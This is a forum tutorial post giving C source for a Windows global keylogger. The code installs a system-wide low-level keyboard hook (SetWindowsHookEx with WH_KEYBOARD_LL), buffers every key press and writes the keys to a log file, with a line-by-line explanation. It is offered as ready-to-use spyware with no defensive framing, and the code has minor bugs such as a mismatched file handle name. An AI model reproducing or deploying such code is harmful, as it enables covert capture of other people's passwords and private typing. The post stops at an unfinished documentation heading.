Tutorial [C] Win32 global keylogger

IsBadWritePtr · 04-18-2019, 11:42 PM

Hi, while searching on this forum i have found several keyloggers that I don't find optimal, so I wan't to share mine.

Ok, first lets create some variables

Code:
static HANDLE hLogFile;
static BYTE sBuffer[512];
static ULONG dwBufferIndex = 0;

We will store the keys in a buffer and after it gets full we will write it down. We can call WriteFile every time a key is pressed, but will slow down the hook and every hook after ours since hooks are called parallel between processed and windows wants users to manage themselves.

Next we will need to code our keyboard handle

Code:
LRESULT
CALLBACK
KeyboardHook(
    IN int    iCode,
    IN WPARAM wParam,
    IN LPARAM lParam
    )
{
    if (wParam == WM_KEYDOWN) {
        sBuffer[dwBufferIndex++] = ((LPKBDLLHOOKSTRUCT)lParam)->vkCode;
        printf("%lu", ((LPKBDLLHOOKSTRUCT)lParam)->vkCode);

        // check if buffer is full
        if (dwBufferIndex == sizeof(sBuffer) - sizeof(*sBuffer)) {
            ULONG dwBytesWritten;

            if (!WriteFile(hLog, sBuffer, dwBufferIndex, &dwBytesWritten, NULL)) {
                // you error handle
            }

            // resets buffers index
            dwBufferIndex = 0;
        }
    }

    return CallNextHookEx(NULL, iCode, wParam, lParam);
}

From MSDN we can see that wParam is the key state and lParam points to the information we need (KBDLLHOOKSTRUCT). Now with the information needed we found out that our hook will be called when key is down and release and have to filter out key release. And since hooks are called parallel between processed and if we don't call CallNextHookEx some of them might not receive the interrupt.

Now lets setup our variables and hook

Code:
   if (INVALID_HANDLE_VALUE == (hLog = CreateFileW(L"log.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL))) {
        return -2;
    }

    MSG Msg;
    HHOOK hHook = SetWindowsHookExW(WH_KEYBOARD_LL, &KeyboardHook, NULL, 0);

    if (!hHook) {
        return -1;
    }

    while (GetMessageW(&Msg, NULL, WM_KEYFIRST, WM_KEYLAST)) {
        TranslateMessage(&Msg);
        DispatchMessageW(&Msg);
    }

The CreateFileW is self explanatory,, the magic is SetWindowsHookEx and WH_KEYBOARD_LL. WH_KEYBOARD_LL is the id of "LowLevelKeyboardProc" aka. global keyboard hook, We will have to use SetWindowsHookEx so we can have more control. we will have to set hmod and dwThreadId to 0,. We are interested in dwThreadId argument which is the thread holding the hook but to use it we must set hmod to NULL, dwThreadId is going to be 0 so all threads are identified with the the hook procedure. And finally if you want to unhook the hook you can use UnhookWindowsHookEx. The GetMessage part is standard message handling, in the remarks it says "The possibility of a -1 return value in the case that hWnd is an invalid parameter" but we don't have to worry about it here,

This code doesn't log when CAPS or SHIFT is pressed and released, I'm just gonna show you simple example, also I suggest checking the state of CAPS and SHIFT before the hook using GetAsyncKeyState. There is much more I can explain but I don't want to make this post long, just to tell the basics, for more details you will have to visit MSDN get very detailed information.

functions documentation: